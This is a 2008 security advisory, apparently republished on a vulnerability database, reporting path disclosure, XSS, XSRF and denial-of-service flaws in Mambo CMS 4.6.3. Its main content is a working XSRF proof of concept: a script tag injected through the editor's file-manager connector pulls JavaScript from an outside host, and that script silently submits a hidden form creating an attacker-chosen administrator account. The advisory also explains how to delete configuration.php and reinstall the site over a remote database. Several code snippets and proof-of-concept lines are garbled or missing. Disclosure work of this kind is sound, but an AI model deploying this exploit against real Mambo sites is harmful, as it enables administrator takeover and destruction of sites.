Mambo 4.6.3 Path Disclosure, XSS , XSRF, DOS

Type securityvulns
Reporter Securityvulns
Modified 2008-01-29T00:00:00



AmnPardaz Security Research Team

Title: Mambo Vulnerabilities


Bugs: Path Disclosure, XSS , XSRF, DOS

Vulnerable Version:4.6.3 (prior versions also may be affected)

Exploitation: Remote with browser

Fix Available: No!

  • Description:

Mambo is an, open source, modular, web content management system
(CMS), written in Php with a MySql database in backend.

  • Vulnerability:

+--> Path Disclosure POC:

+--> XSS POC:

+--> XSRF (the exploit creates an admin account) POC:http://localhost/MamboV4.6.3/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?Command=<script type=text/javascript

content of http://somewhere/test.js

/ Set desiered user, pass, email and victims url then upload the script
somewhere on the web

window.onload = function() { var url = 'http://localhost/MamboV4.6.2/administrator/index2.php'; var gid = 25; var user = 'amnpardaz'; var pass = 'amnpardaz'; var email = ''; var param = {

name: user, username: user, email: email, password: pass, password2: pass, gid: gid, block: 0, option: 'com_users', task: 'save', sendEmail: 0


var form = document.createElement('form'); form.action = url; form.method = 'post'; = 'hidden'; = 'none';

for (var i in param) { try { // ie var input = document.createElement('<input name="'+i+'">'); } catch(e) { // other browsers var input = document.createElement('input'); = i; } input.setAttribute('value', param[i]); form.appendChild(input); } document.body.appendChild(form); form.submit(); location.replace(url); }

+--> DOS "mostlyce component" Image Manager note from mambo 4.6.3: Important: In order to utilize the Image Manager functionality you
must create the folder structure shown below in your document root
folder. Not your Mambo root, your document root! For this installation your
document root is [something]. You can create this structure manually or extract the
file included with MOStlyCE at that location. You can find the file at /mambots/editors/mostlyce.

If an administrator follows up the above instruction,its possible for
a remote attacker to remove any file from the remote server for
example the main configuration file, which could result in remote
denial of service! The impact of the vulnerability increases when the administrator
doesnt remove "installation" folder (its common to rename it to
something predictable such as "_installation"), in such a condition its possible for a remote attacker to delete
configuration.php and install a new version of mambo on the victim
server using remote database!

Code Snippet:



function run() { //If using CGI Upload script, get file info and insert into $_FILE array if ( (sizeof($_FILES)==0) && isset($_GET['file']) && isset($_GET['file']['NewFile']) && is_array($_GET['file']['NewFile']) ) { if
{ $_FILES['NewFile']['name']=basename(str_replace("\\","/",$_GET['file']['NewFile']['name'])); $_FILES['NewFile']['size']=$_GET['file']['NewFile']['size']; $_FILES['NewFile']['tmp_name']=$_GET['file']['NewFile']['tmp_name']; } else { $disp="202,'Incomplete file information from upload CGI'"; } } . . .


//Upload file if (is_uploaded_file($_FILES['NewFile']['tmp_name'])) { if
{ chmod(($this->real_cwd."/$filename.$ext"),0777); $disp="0"; } else { $disp="202,'Failed to upload file, internal error...'"; } } else { if
{ chmod(($this->real_cwd."/$filename.$ext"),0777); $disp="0"; } else { $disp="202,'Failed to upload file, internal error...'"; } } . . .


  • Credit :

AmnPardaz Security Research Team Contact: admin[4t}bugreport{d0t]ir